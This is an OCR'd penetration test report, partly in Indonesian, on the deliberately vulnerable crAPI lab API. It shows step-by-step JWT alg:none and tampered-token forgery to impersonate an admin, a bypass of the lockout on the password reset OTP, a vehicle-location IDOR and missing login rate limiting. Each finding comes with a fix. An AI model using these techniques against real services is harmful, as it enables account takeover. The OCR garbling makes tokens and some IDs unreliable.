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1 Scope of Work

1.1 Methodology

The methodology used in this vulnerability assessment and penetration test is described below.

01 02 03 04 05 06
Planning & Information Vulnerability Penetration Test Reporting Retesting

Preparation Gathering & Assessment
Analysis

Figure 1 - Vulnerability Assessment and Penetration Testing Methodology

1. Planning and understanding the target system and supporting applications. Understanding
the target system, supporting applications, public and internal IP addresses, operating systems (OS),
databases, and application topology within the relevant work unit, through interviews or the
documentation provided.

2. Conducting the vulnerability assessment. Assessing vulnerabilities and identifying security
weaknesses within the scope of the system and its supporting network infrastructure, including web
applications, operating systems, databases, and networks.

3. Performing penetration testing based on the assessment results. Exploitation aims to prove
that the security gaps or vulnerabilities found exist, and to assess their level of risk and impact on
the company's applications, information, and business reputation.

4. Reporting and discussing results with Team crAPI (Lab). Preparing the report and discussing the
penetration test results and recommendations for improvement, and reaching a mutual agreement
on reducing the existing security gaps. Recommendations are based on the standards and
frameworks used in the test.

5. Retesting the implemented improvements. Retesting the improvements implemented to ensure
that security gaps and risks have been effectively reduced.

The testing approaches used in penetration testing are black-box, grey-box and white-box:

Table 1 - Penetration Testing Approaches

s This
Approach Description PR ——
Black-box Conducted without any prior information or knowledge about the —
target. Testing uses only a list of IP addresses or domains, without
detailed knowledge of the system profile or application topology.
Grey-box Conducted with some information and knowledge about the target, v Applied

including user access to web applications or servers but without full
access rights. Testing is still limited by firewall filtering or a WAF
(Web Application Firewall).

White-box Conducted with comprehensive information about the target, such —
as the application topology, test user IDs, internal network access,
and the IP addresses of the target and users, without any firewall or
WAF filtering.
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1.2 Standards and Frameworks

Findings in this report are classified against the following standards and frameworks: OWASP API
Security Top 10 2023.

1.2.1 APl (OWASP API Security Top 10 2023)

The OWASP API Security Top 10 (2023) lists the most critical security risks specific to APIs. Reference:
https://owasp.org/API-Security/editions/2023/en/0x11-t10/

Table 2 - OWASP API Security Top 10 2023 Categories

ID Category
API1:2023 Broken Object Level Authorization
API2:2023 Broken Authentication
API3:2023 Broken Object Property Level Authorization
API4:2023 Unrestricted Resource Consumption
API5:2023 Broken Function Level Authorization
API16:2023 Unrestricted Access to Sensitive Business Flows
API17:2023  Server Side Request Forgery
API8:2023 Security Misconfiguration
API19:2023 Improper Inventory Management

API10:2023 Unsafe Consumption of APIs

1.3 List of Assets
The scope of security testing and penetration testing for the crAPI (Lab) web application is as follows:
Table 3 - List of Assets
No Name URL Type Status

1 crAPI Identity http://127.0.0.1:8888/identity API FAIL
Service

Service

2 crAPIWorkshop  http://127.8.0.1:8888/workshop AP

3 crAPlI Community http://127.0.8.1:8888/community AP FAIL
Service

Status legend: PASS — no vulnerability found FAIL — vulnerability found
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2 Summary of Vulnerabilities

Testing of the crAPI (Lab) web application identified 11 vulnerabilities: 2 Critical, 3 High and 6
Medium; in addition, 7 tested scenarios did not result in a vulnerability (PASS).

p 6 7

CRITICAL MEDIUM PASS

crAPI Identity Service
http://127.0.0.1:8888/identity - API - 5 vulnerabilities, 3 PASS

Table 4 - Vulnerability Summary - crAPI Identity Service
No Vulnerability Severity CVSS Exploited = Recommendation

1 Broken Authentication Critical 9.8 Yes Verifikasi tanda tangan JWT dengan kunci
(API2) - JWT Signature Not publik RS256 pada setiap request; tolak
Verified — Authentication alg:none dan allow-list algoritma.

Bypass

API2:2023 Broken
Authentication

2 Broken Authentication
(API2) - Bypassable Brute-
Force Protection on
Password Reset OTP

API2:2023 Broken
Authentication

7.4 Yes Terapkan lockout persisten per akun serta
rate-limit/CAPTCHA pada forget-password;
gunakan OTP lebih panjang.

3 Broken Object Level Medium 6.5 Yes Verifikasi kepemilikan kendaraan terhadap
Authorization (API1) - user terautentikasi sebelum mengembalikan
Broken Object Level lokasi.

Authorization (IDOR) on
Vehicle Location

API1:2023 Broken Object Level
Authorization

4 Unrestricted Resource Medium 6.5 Yes Terapkan rate limiting dan lockout pada
Consumption (API4) - login; tambahkan CAPTCHA/anti-automasi.
Unrestricted Resource
Consumption — No Login
Rate Limiting
AP14:2023 Unrestricted
Resource Consumption

5 Improper Inventory Medium 5.3 Yes Nonaktifkan versi APl usang (v2) dan kelola
Management (API9) - inventaris endpoint yang aktif.
Improper Inventory
Management —
Deprecated OTP Endpoint
(v2) Still Live
API19:2023 Improper Inventory
Management
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No

Vulnerability Severity CVsSs

Broken Object Property PASS — —
Level Authorization (API3)
- Mass Assignment on
User Registration

API3:2023 Broken Object
Property Level Authorization

Broken Object Level
Authorization (API1) -
Missing Authentication
Check on Vehicle Location
(Unauthenticated Access)

API1:2023 Broken Object Level
Authorization

Broken Authentication
(API2) - Password Reset
OTP Per-Session Lockout

API2:2023 Broken
Authentication

crAPl Workshop Service
http://127.0.0.1:8888/workshop - API - 5 vulnerabilities, 3 PASS

No

10

[N

Exploited

CONFIDENTIAL
Recommendation

Pertahankan allow-list field yang boleh diset
klien saat registrasi.

Pertahankan autentikasi wajib; tambahkan
juga pemeriksaan kepemilikan objek (lihat
temuan FAIL terkait).

Jadikan lockout persisten per akun agar tak
dapat di-reset lewat permintaan OTP baru
(lihat temuan FAIL terkait).

Table 5 - Vulnerability Summary - crAPl Workshop Service

Vulnerability Severity CVss

Server Side Request Critical 9.6 Yes
Forgery (API7) - Server-
Side Request Forgery
(SSRF) via Contact
Mechanic — Internal
MailHog — Account
Takeover

API7:2023 Server Side Request
Forgery

Broken Function Level 7.5 Yes
Authorization (API5) -
Unauthenticated Access
to Order Details

API15:2023 Broken Function
Level Authorization

API1:2023 Broken Object Level
Authorization

Broken Function Level Medium 6.5 Yes
Authorization (API5) -

Broken Function Level

Authorization —

Management Endpoint

Exposes All Users

API5:2023 Broken Function

Level Authorization

API3:2023 Broken Object

Property Level Authorization

Prepared by Muhammad Fagih

Exploited

Recommendation

Allow-list endpoint mekanik; blokir host
internal (mailhog/identity); segmentasi
layanan internal; jangan pantulkan respons
upstream.

Wajibkan autentikasi dan verifikasi
kepemilikan order; gunakan identifier non-
sekuensial (UUID).

Terapkan otorisasi berbasis peran di sisi
server pada semua endpoint manajemen.
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Vulnerability Severity CVsSs Exploited n Recommendation

12 Broken Object Level Medium 6.5 Yes Verifikasi report yang diminta milik
Authorization (API1) - pemanggil; gunakan UUID dan minimalkan
Broken Object Level field yang dikembalikan.

Authorization (IDOR) on
Mechanic Reports

API1:2023 Broken Object Level
Authorization

API3:2023 Broken Object
Property Level Authorization

13 Unsafe Consumption of Medium 5.4 Yes Validasi & sanitasi respons APl upstream;
APIs (API10) - Unsafe batasi tujuan upstream ke allow-list
Consumption of APIs — tepercaya.

Unvalidated Upstream
Response in Contact
Mechanic

API110:2023 Unsafe
Consumption of APIs

14 Broken Object Level
Authorization (API1) -
Broken Object Level
Authorization (IDOR) on
Order Return

API1:2023 Broken Object Level
Authorization

— — Pertahankan pemeriksaan kepemilikan pada
aksi retur.

15  Broken Object Level
Authorization (API1) -
Missing Authentication
Check on Mechanic Report
(Unauthenticated Access)

API1:2023 Broken Object Level
Authorization

— — Pertahankan autentikasi wajib; tambahkan
juga pemeriksaan kepemilikan objek (lihat
temuan FAIL terkait).

— — Klaim kupon yang sama dua kali ditolak
(‘already claimed'); batas per-user
ditegakkan.

16 Unrestricted Access to
Sensitive Business Flows
(API16) - Unrestricted
Access to Sensitive
Business Flow — Coupon
Claim (Replay Protected)

API16:2023 Unrestricted Access
to Sensitive Business Flows

crAPI Community Service
http://127.0.0.1:8888/community - APl - 1 vulnerability, 1 PASS

Table 6 - Vulnerability Summary - crAPI Community Service

Vulnerability Severity CVSsS Exploited = Recommendation

Security Misconfiguration High . Paksa coupon_code menjadi string dan tolak
(API8) - NoSQL Injection objek/operator; validasi skema input.
on Coupon Validation

API8:2023 Security
Misconfiguration

Prepared by Muhammad Fagih 10
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Vulnerability Severity CVsSs Exploited n Recommendation

Terapkan pemaksaan tipe string dan tolak
operator/objek (lihat temuan FAIL terkait).

Security Misconfiguration PASS
(API8) - Coupon Validation
with Normal String Input

API8:2023 Security
Misconfiguration

References used for every finding: OWASP API Security Top 10 2023, Bugcrowd VRT, CWE 4.0, CVSS v3.1.

Prepared by Muhammad Fagih
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3 Findings on API

3.1 crAPIl Identity Service (http://127.0.0.1:8888/identity)

3.1.1 Broken Authentication (API2) - JWT Signature Not Verified — Authentication
Bypass

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS

Critical 9.8 /10 Yes CWE-347
Standard mapping API2:2023 Broken Authentication (OWASP API Security Top 10 2023)
Impact rating Critical
Bugcrowd VRT P1 - Broken Authentication and Session Management (VRT 2.1)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected feature / URL http://127.0.0.1:8888/identity/api/v2/user/dashboard JWT Authentication)
Testing approach Grey-box
DESCRIPTION

Ditemukan kerentanan broken authentication pada layanan identity crAPI: JSON Web Token (JWT)
diterima tanpa memverifikasi tanda tangannya. Token yang dibuat dengan header alg:none (tanpa
tanda tangan) diterima, dan token RS256 sah yang payload-nya diubah tanpa ditandatangani ulang juga
diterima. Karena tanda tangan tidak pernah divalidasi, penyerang dapat memalsukan token untuk
pengguna mana pun dan menaikkan klaim role menjadi admin.

IMPACT

Penyerang dapat memanfaatkan kerentanan ini untuk mengambil alih akun mana pun tanpa
kredensial. Saat pengujian, tim memalsukan token berisi identitas korban dan role=admin lalu
mengakses data akun korban, sehingga merusak Confidentiality dan Integrity dari model autentikasi.

RECOMMENDATION

1. Verifikasi tanda tangan JWT dengan kunci publik RS256 milik server pada setiap request.
2. Tolak eksplisit algoritma alg:none dan terapkan allow-list algoritma (hanya RS256).
3. Gunakan pustaka JWT matang dengan verifikasi wajib serta validasi klaim exp, iss, dan aud.

REFERENCES
* VRT 2.1 - Broken Authentication and Session Management
* https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/
* https://cwe.mitre.org/data/definitions/347.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
URL Terdampak: http://127.0.0.1:8888/identity/api/v2/user/dashboard (JWT Authentication)

a. Tim login dan menggunakan token RS256 sah miliknya sendiri (ditampilkan utuh) untuk mengakses
dashboard-nya; server hanya mengembalikan akun attacker (id=8).

Prepared by Muhammad Fagih
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[ ] Burp Suite — Repeater

NORMAL: token sah sendiri Send P http://127.0.0.1:8888

Request Response -

openrest

tent-T appl

b-d797-404b-a961-09d7e45e0d1b",

51PINB3CL6ZEA9X1" ,

"mode
"fuel_type": "PE
"vehicle_img
"vehiclecompan

wig

4.270172"

}

» NORMAL FLOW: token RS256 sah milik attacker (role=user) dipakai mengakses data MILIKNYA SENDIRI. Token ditampilkan utuh.

Figure 2 - JWT Signature Not Verified — Authentication Bypass (API2) - http://127.0.0.1:8888/identity/api/v2/user/
dashboard (JWT Authentication) (Grey-box) - normal: token sah, akun sendiri

b. Tim mendekode JWT (base64url header dan payload), mengubah algoritma menjadi "none" dengan
signature kosong, menetapkan role=admin dan sub=admin@example.com (menyamar sebagai
administrator), lalu menyusun ulang token palsu secara lengkap (ditampilkan utuh, tanpa dipotong).

[ ] Burp Suite — Repeater
PROSES: buat token alg:none JWT manipulation — decode » modify » re-encode
Bongkar JWT asli -> ubah alg:none & sub=admin, role=admin -> susun ulang token palsu (utuh)

== 1. Token asli hasil loain (format: header.pavload.sianature) ==

P6m15JkS aAvFmcPJ9MahN 4BCGuoIQ71mzzaWAUPd29N9mLh170aiYFP1lhalYV7A4h7XGY9sONFvFwh1GXTSpSESVNGzMBGVb QXNoeabnuvIWnerN6wlkLLOVEKMIVtAKEUPey1GciCnp-6Vm_xf7g53AW Zg9d3kbDj

== 2. Base64URL-decode tiap bagian ==

header = eyJhbGci0iJSUzI1INiJ9
{"alg": "RS256"}

pay Lo eyJzdWIi0iJmYXFpaEBnbWFpbC5jb20ilLCIpYXQi0jE30TA20TA3MTQsImV4cCI6MTCcSMTISNTUXNCwicm9sZSI6InVzZXIifQ
{¥subs= "iat": 1790690714, "e : 1791295514, " : "use

== 3. Susun token PALSU: alg diganti ‘(none)' (t signature), sub-> admin@example.com| role->admin| ==

header baru = base64url({"alg": '{none)', "typ": WT"})
eyJhbGci0iJub251IiwidHlwIjoiS1dUIn®
payload baru base64url({"sub": '{admin@example.com/', "role": '{admin)', "iat": 1790690714, "exp": 1999999999})
eyJzdWIi0iJhZG1pbkBleGFtcGxlLmNvbSIsInJvbGUi0iJhZG1lpbiIsImlhdCI6MTc5MDYSMDcxNCwiZXhwljox0Tk50Tk50Tk5Q
signature (KOSONG)

== 4. Token PALSU hasil akhir (utuh, tidak dipotong) ==
eyJhbGci0iJub251IiwidH1wIjoiS1dUIng).(eyJzdWIi0iJhZG1pbkBleGFtcGx1LmNvbSISInIvbGUi0iIhZG1pbiIsImLhdCIGMTC5MDYSMDCXNCwiZXhwljox0Tk50Tk50TK5FQ L

» Header memakai alg:none sehingga tidak perlu signature. Payload diubah untuk MENYAMAR sebagai admin (sub: .com, role=admi

Figure 3 - JWT Signature Not Verified — Authentication Bypass (API2) - http://127.0.0.1:8888/identity/api/v2/user/
dashboard (JWT Authentication) (Grey-box) - proses: susun token alg:none

c. Tim mengirim token palsu alg:none; server menerimanya dan mengembalikan akun ADMIN (id=5,
ROLE_ADMIN).

Prepared by Muhammad Faqih 13
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@ Burp Suite — Repeater

EXPLOIT: kirim token alg:none Send b http://127.0.0.1:8888

Request Response *

= kotak merah = bagian yang diubah dari normal flow

HTTP/1.1 200
GET /identity/api/v2/user/dashboard HTTP/1.1 Ser openresty/1.27.1.2
Host: 127.0.0.1:8888 Content-Type: application/json
Authorization: Bearer Content-Length: 231
CGX1LmNvbSIsInJvbGUi0iJhZG1pbiIsImLhdCIGMTCc5MDY5SMDCXNCwiZXhwl jox0Tk50Tk50Tk5Q.
Accept: application/json {

"'admin@example.com/',
"number": "9010203040",
‘picture_url": null,
"video_url": "data:image/jpeg;base64,B7HoBfK@9fD:
"Admin_vide
edit": 100.0,
deo_id": 5,
role": '(ROLE_ADMIN}'

» EKSPLOITASI: token alg:none tanpa signature (utuh di header) DITERIMA -> mengembalikan akun ADMIN (id=5, ROLE_ADMIN). Impersonasi admin penuh.

Figure 4 - JWT Signature Not Verified — Authentication Bypass (API2) - http://127.0.0.1:8888/identity/api/v2/user/
dashboard (JWT Authentication) (Grey-box) - eksploitasi: token alg:none diterima

d. Tim mengambil token RS256 sah, mengedit payload menjadi role=admin dan
sub=admin@example.com, lalu memasang kembali signature ASLI tanpa menandatangani ulang,
menghasilkan token tampered yang lengkap (ditampilkan utuh).

[ ] Burp Suite — Repeater
PROSES: tamper RS256 (signature lama) JWT manipulation — decode » modify » re-encode
Edit payload token RS$256 -> sub=admin, role=admin -> pasang kembali signature LAMA (tidak valid)

== 1. Token RS256 asli (signature valid) ==

NoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1GciCnp-6Vm_xf7953AW]jZ1Zg9d3kbDj

== 2. Decode pavload ==
{"sub": "iat": 1790690714, “exp": 1791295514, "role": "user"}

== 3. Ubah payload (role user-3adminj, sub->ladmin@example.com) . & signature TIDAK diubat
payload baru = base64url({"sub": '{admin@example.com/', "iat": 17 0714, "exp": 1791295514, "rol

hez eyJhbGci01JSUZIIN1J9 (tetap, alg RS256)
sign re QqiVE1YKhnGZYsQoV8qL rVMWSqX1XkvyP_8xBeCNs40s0BwNFP6m1

6zcDsSmQFMHmMuUb1 Lsdv/g (signature LAMA, I1DAK di-resign)

== 4. Token hasil (header.payload_baru.signature_lama) —- signature tak cocok dgn payload (utuh) ==
eyJhbGci0iJSUzIINi)9. eyJzdWIi0iJhZG1pbkBleGFtcGx1LmNvbSIsImlhdCI6MTcSMDY5MDCXNCwiZXhwIjoxNzkxMjkINTEOLCIyb2x1IjoiYWRtaW4ifQL qiVE1YKhnGZYsQoV8qL rVMWSgX1XkvyP_8xBeCNs40s!

» Signature lama sudah tidak cocok dengan payload yang diubah. Server yang benar akan menolak; crAPI justru menerimanya.

Figure 5 - JWT Signature Not Verified — Authentication Bypass (API2) - http://127.0.0.1:8888/identity/api/v2/user/
dashboard (JWT Authentication) (Grey-box) - proses: tamper RS256, signature lama

e. Tim mengirim token RS256 tampered; server tetap membalas HTTP 200 berisi data korban,
membuktikan signature tidak diverifikasi (Confidentiality + Integrity).

Prepared by Muhammad Faqih
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[ ) Burp Suite — Repeater

EXPLOIT+CIA: kirim RS256 tampered http://127.0.0.1:8888

Request Response -

HTTP/1.1 200

GET /identity/api/v2/user/dashboard HTTP/1.1 Server: openresty/1.27.1.2
Host: 127.0.0.1:8888 Content-Type: application/json
Authorization: Bearer |eyJhbGci0iJSUzI1INiJ9.eyJzdWIi0iJhZG1lpbkBleGFtcGx1lLmNvbSIsImU Content-Length: 231
hdCI6MTc5MDY5MDcxXNCwizZXhwIjoxNzkxMjkINTEQLCIyb2x1IjoiYWRtaW4ifQ.qiVE1YKhnGZYsQoV8q
LrVMWSgX1XkvyP_8xBeCNs40s@BwNFP6m15JkS_qAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170,
aiYFPlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5SVNGZMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUP, iy
ey1GciCnp-6Vm_xf7953AW]jZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSy t8K8PLFR11qqB03gDeIv2 "name": "Admin",
HFJ-R-eds9QfnoeCUUk4BPBCND7BbqTFVVx6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g *{admin@example.com)',
Accept: application/json '9010203040",

icture_url": null,

"data:image/jpeg;base64,B7HoBfKO9fDx0A:

"video_name": "Admin_video",

"available_credit": 100.0,

video_id": 5,

"role": '"ROLE_ADMIN/'

» DAMPAK CIA: signature tidak cocok tetap 200 -> Confidentiality (data akun admin terbaca) + Integrity (identitas & role dipalsukan jadi admin). Signature TIDAK diverifikasi.

Figure 6 - JWT Signature Not Verified — Authentication Bypass (API2) - http://127.0.0.1:8888/identity/api/v2/user/
dashboard (JWT Authentication) (Grey-box) - dampak: token tampered diterima, CIA

Prepared by Muhammad Fagih
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3.1.2 Broken Authentication (API2) - Bypassable Brute-Force Protection on
Password Reset OTP

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS

m 7.4 1 Yes CWE-307

Standard mapping API12:2023 Broken Authentication (OWASP API Security Top 10 2023)
Impact rating Medium
Bugcrowd VRT P2 - Broken Authentication and Session Management (VRT 2.4)
CVSS vector CVSS:3.1/AV:N/AC:H/PR:N/UL:N/S:U/C:H/I:H/A:N
Affected feature / URL http://127.0.0.1:8888/identity/api/auth/v3/check-otp (Password Reset OTP)
Testing approach Grey-box
DESCRIPTION

Ditemukan kerentanan proteksi brute-force yang lemah pada alur reset password. Endpoint verifikasi
OTP mengunci setelah 9 percobaan salah per sesi OTP, tetapi counter ini ter-reset setiap kali forget-
password dipanggil, dan forget-password sendiri tidak di-rate-limit maupun ber-CAPTCHA. Proteksi
dengan demikian dapat dilewati dengan pola siklus terhadap OTP 4-digit.

IMPACT

Penyerang dapat memanfaatkan kerentanan ini untuk mengambil alih akun mana pun yang emailnya
diketahui. Karena OTP hanya 4 digit (10.000 kombinasi) dan tiap siklus memberi 9 tebakan tanpa
hambatan atas OTP baru, penyerang terotomasi dapat mereset password korban (Confidentiality +
Integrity).

RECOMMENDATION

1. Terapkan lockout persisten per akun yang tidak ter-reset oleh permintaan OTP baru.

2. Rate-limit dan tambahkan CAPTCHA/anti-automasi pada endpoint forget-password.

3. Gunakan OTP minimal 6 digit dengan masa berlaku singkat dan invalidasi setelah kegagalan
kumulatif.

REFERENCES
* VRT 2.4 - Broken Authentication and Session Management
* https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/

* https://cwe.mitre.org/data/definitions/307.html
* https://bugcrowd.com/vulnerability-rating-taxonomy

EVIDENCE
URL Terdampak: http://127.0.0.1:8888/identity/api/auth/v3/check-otp (Password Reset OTP)

a. Tim memicu reset password dengan memanggil forget-password untuk email korban; server
membalas HTTP 200 (normal flow).
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[ ] Burp Suite — Repeater

NORMAL: minta OTP reset Send b http://127.0.0.1:8888

Request Response -

POST /identity/api/auth/forget-password HTTP/1.1 HTTP/1.1 200

Host: 127.0.0.1:8888 Server: openresty/1.27.1.2

Content-Type: application/json Content-Type: application/json
Content-Length: 75

{

"status": 200

I

» NORMAL FLOW: alur lupa password mengirim OTP 4-digit ke email korban.

Figure 7 - Bypassable Brute-Force Protection on Password Reset OTP (API2) - http://127.0.0.1:8888/identity/api/auth/
v3/check-otp (Password Reset OTP) (Grey-box) - Normal flow: meminta OTP reset password

b. Tim mengirim satu OTP salah ke check-otp; server membalas Invalid OTP (satu percobaan normal).

[ ] Burp Suite — Repeater
NORMAL: satu percobaan OTP http://127.0.0.1:8888

Request Response -

HTTP/1.1 500
dentity/api/autt check-otp HTTP/1.1 Server: openresty/1.27.1.2
127.0.0.1:8888 Content-Type: application/json
Content-Type: application/json Content-Length: 58

"password":"Pwn3d!23"}

": "{Invalid OTP)! Please try again..",

» NORMAL FLOW: satu percobaan OTP yang salah -> Invalid OTP.

Figure 8 - Bypassable Brute-Force Protection on Password Reset OTP (API2) - http://127.0.0.1:8888/identity/api/auth/
v3/check-otp (Password Reset OTP) (Grey-box) - Normal flow: satu percobaan OTP salah

c. Setelah lockout semestinya memicu, tim memanggil forget-password lagi (HTTP 200, tanpa throttle),
me-reset counter dan menerbitkan OTP baru. Mengulang siklus [reset -> 9 tebakan] membrute-force
OTP 4-digit dan mereset password korban (Confidentiality + Integrity).

[ ] Burp Suite — Repeater

EXPLOIT+CIA: reset lockout via forget-password Send http://127.0.0.1:8888

Request Response -

HTTP/1.1 200
uth/forget-password HTTP/1.1 Server: openresty/1.27.1.2

27.0.0.1:8888 Content-Type: application/json

nt-Type: application/json Content-Length: 75

# forget—password DIPANGGIL ULANG (tanpa rate-limit) => counter lockout ter-RESET "me : "OTP Sent on the provided email,
& OTP baru terbit "sta 1 200

» DAMPAK CIA: forget-password tak dibatasi & me-reset lockout. Pola [reset -> 9 tebakan] diulang menembus OTP 4-digit -> reset password korban. Confidentiality + Integrity (ATO).

Figure 9 - Bypassable Brute-Force Protection on Password Reset OTP (API2) - http://127.0.0.1:8888/identity/api/auth/
v3/check-otp (Password Reset OTP) (Grey-box) - Dampak: forget-password me-reset lockout, memungkinkan ATO
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3.1.3 Broken Object Level Authorization (API1) - Broken Object Level
Authorization (IDOR) on Vehicle Location

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 6.5 0 Yes CWE-639

Standard mapping API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)
Impact rating High
Bugcrowd VRT P2 - Insecure Direct Object References (IDOR) (VRT 3.3)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:U/C:H/I:N/A:N
Affected feature / URL http://127.0.0.1:8888/identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location)
Testing approach Grey-box

DESCRIPTION

Ditemukan kerentanan Broken Object Level Authorization (BOLA/IDOR) pada endpoint lokasi
kendaraan. Server mengautentikasi pemanggil tetapi tidak memuverifikasi bahwa kendaraan yang
diminta milik user tersebut, sehingga memberikan UUID kendaraan pengguna lain mengembalikan
lokasi GPS kendaraan itu.

IMPACT

Penyerang dapat memanfaatkan kerentanan ini untuk melacak lokasi fisik pengguna lain secara real-
time serta memperoleh nama dan email mereka. Saat pengujian, tim membaca koordinat GPS terkini
dan email korban menggunakan token milik attacker sendiri (Confidentiality).

RECOMMENDATION

1. Verifikasi bahwa kendaraan yang diminta milik user pada token sebelum mengembalikan lokasinya.
2. Terapkan pemeriksaan otorisasi tingkat objek secara terpusat.
3. Hindari menampilkan PIl pemilik pada respons lokasi.

REFERENCES
* VRT 3.3 - Insecure Direct Object References
* https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
* https://cwe.mitre.org/data/definitions/639.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
URL Terdampak: http://127.0.0.1:8888/identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location)

a. Tim login ke aplikasi web crAPI. Dashboard menampilkan lokasi kendaraan pada peta — fitur yang
didukung API rentan yang diuji di bawah.
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Figure 10 - Broken Object Level Authorization (IDOR) on Vehicle Location (API1) - http://127.0.0.1:8888 (Grey-box) -
Dashboard crAPlI menampilkan peta lokasi kendaraan (browser)

b. Tim meminta lokasi kendaraan MILIKNYA SENDIRI (uuid 9b3ce26b-d797-404b-a961-09d7e45e0d1b)
menggunakan token attacker; server membalas HTTP 200 (perilaku normal).

[ ] Burp Suite — Repeater
NORMAL: lokasi kendaraan sendiri Send > http:/127.0.0.1:8888

Request Response -

normal flow

le/9b3ce26b-d797-404b-a961-09d7e45¢0d1b) location HTTP/
Content-Type: applicati
Content-Length: 177

sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM

» NORMAL FLOW: attacker meminta lokasi kendaraan MILIKNYA SENDIRI (uuid 9b3ce26b...) -> 200. Perilaku semestinya.

Figure 11 - Broken Object Level Authorization (IDOR) on Vehicle Location (API1) - http://127.0.0.1:8888/identity/api/v2/
vehicle/{vehicleld}/location (Vehicle Location) (Grey-box) - Normal flow: lokasi kendaraan sendiri

¢. Tim hanya mengubah UUID kendaraan pada path menjadi kendaraan KORBAN
(8ba9066d-8484-4ef7-8a7b-c0fa3cb2e687) dengan token attacker yang sama. Server membalas HTTP
200 berisi koordinat GPS dan email korban (Confidentiality).
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@ Burp Suite — Repeater

EXPLOIT+CIA: ubah UUID ke korban Send P http://127.0.0.1:8888

Request Response -

normal flo
HTTP/1.1 200
GET /identity/api/v2/vehicle/8ba9066d-8484-4ef7-8a7b-cOfa3cb2e687)/ location HTTP/ Ser openresty/1.27.1.2

1.1 Content-Type: application/json
Host: 127.0.0.1 Content-Length: 178
Authorization:

10jE30TA20TA3MTQsImV4cCI6MTCcSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM
"carId": "8ba 6d-8484-4ef7-8a7b-c@fa3ch2e687

P1halYV7A4h7XGY9SQNFyFwh LGXTSpSESVNGZMBGVb_QXNoeabnuvIWne rN6w LKLLOVEKMIVtAKEUPey1G leLocation": {

ciCnp-6Vm xf7a53AWiZ1Za9d3kbDiHAVN697pn2czd9800dK2E-DCOSVt8K8PLFR11aaB03aDeIv2HF]~
'(37.406769",
ongitude": "-94.705528"
h
"fullName": "Muhammad Faaih",
"email":

» DAMPAK CIA: UUID kendaraan diganti ke milik KORBAN (8ba9066d...) dengan token attacker yang sama -> 200 mengembalikan koordinat GPS + email korban. C: i 1 lokasi fisik lain.

Figure 12 - Broken Object Level Authorization (IDOR) on Vehicle Location (API1) - http://127.0.0.1:8888/identity/api/v2/
vehicle/{vehicleld}/location (Vehicle Location) (Grey-box) - Eksploitasi: UUID korban mengembalikan lokasi + email
korban
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3.1.4 Unrestricted Resource Consumption (API4) - Unrestricted Resource
Consumption — No Login Rate Limiting

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 6.5 /0 Yes CWE-307

Standard mapping API14:2023 Unrestricted Resource Consumption (OWASP API Security Top 10 2023)
Impact rating Medium
Bugcrowd VRT P4 - Broken Authentication and Session Management - Lack of Rate Limiting (VRT 2.6)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
Affected feature / URL http://127.0.0.1:8888/identity/api/auth/login (Login)
Testing approach Grey-box

DESCRIPTION

Endpoint login tidak menerapkan rate limiting maupun account lockout. Login gagal berulang tidak
dibatasi, memungkinkan brute-force/credential stuffing dan konsumsi sumber daya tanpa batas.

IMPACT

Penyerang dapat membrute-force kredensial dan menghabiskan sumber daya server dengan
permintaan autentikasi tanpa batas (Availability, dan Confidentiality via brute-force).

RECOMMENDATION

1. Terapkan rate limiting per akun/IP dan lockout progresif.
2. Tambahkan CAPTCHA/anti-automasi dan deteksi anomali.
3. Batasi konkurensi permintaan per klien.

REFERENCES
* VRT 2.6 - Broken Authentication and Session Management - Lack of Rate Limiting
* https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/
* https://cwe.mitre.org/data/definitions/307.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
URL Terdampak: http://127.0.0.1:8888/identity/api/auth/login (Login)

a. Tim mengirim satu percobaan login dengan password salah; server membalas HTTP 401 (login gagal
normal).
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[ ] Burp Suite — Repeater

NORMAL: satu login gagal Send » http://127.0.0.1:8888

Request Response

POST /identity/api/auth/login HTTP/1.1 HTTP/1.1 401

Host: 127 18888 Server: openresty/1.27.1.2

Content-Type: application/json Content-Type: application/json
Content-Length: 76

{"email": "password":"wrongpass"}

"Invalid| C
uired": false

» NORMAL FLOW: satu percobaan login dengan password salah -> 401.

Figure 13 - Unrestricted Resource Consumption — No Login Rate Limiting (API4) - http://127.0.0.1:8888/identity/api/
auth/login (Login) (Grey-box) - satu login gagal

b. Tim lalu mengirim 20 percobaan login beruntun; semua membalas HTTP 401 tanpa HTTP 429 atau
lockout, membuktikan tidak ada rate limiting.

[ ] Burp Suite — Repeater
EXPLOIT: 20x tanpa rate-limit Send http://127.0.0.1:8888

Request Response

ari normal
Status 20 percobaan beruntun:
POST /identity/api/auth/login HTTP/1.1 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401
Host: 127.0.0.1:8888

Content-Type: application/json => tidak ada (429)/lockout pada percobaan mana pun.

{"email": "password":"wrong<N>"}
# 20 percobaan Login BERUNTUN -> semua 401, TIDAK ada HTTP 429/lockout

